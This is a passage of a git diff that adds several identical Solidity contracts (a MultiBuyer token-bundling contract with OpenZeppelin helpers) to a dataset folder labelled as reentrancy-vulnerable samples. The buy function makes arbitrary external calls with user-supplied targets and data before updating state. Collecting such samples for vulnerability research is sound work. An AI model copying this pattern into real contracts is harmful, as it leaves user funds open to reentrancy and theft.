uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/1423.sol b/smart_contract_dataset/reentrancy vulnerability/1423.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/1423.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/1427.sol b/smart_contract_dataset/reentrancy vulnerability/1427.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/1427.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/1489.sol b/smart_contract_dataset/reentrancy vulnerability/1489.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/1489.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/1491.sol b/smart_contract_dataset/reentrancy vulnerability/1491.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/1491.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: 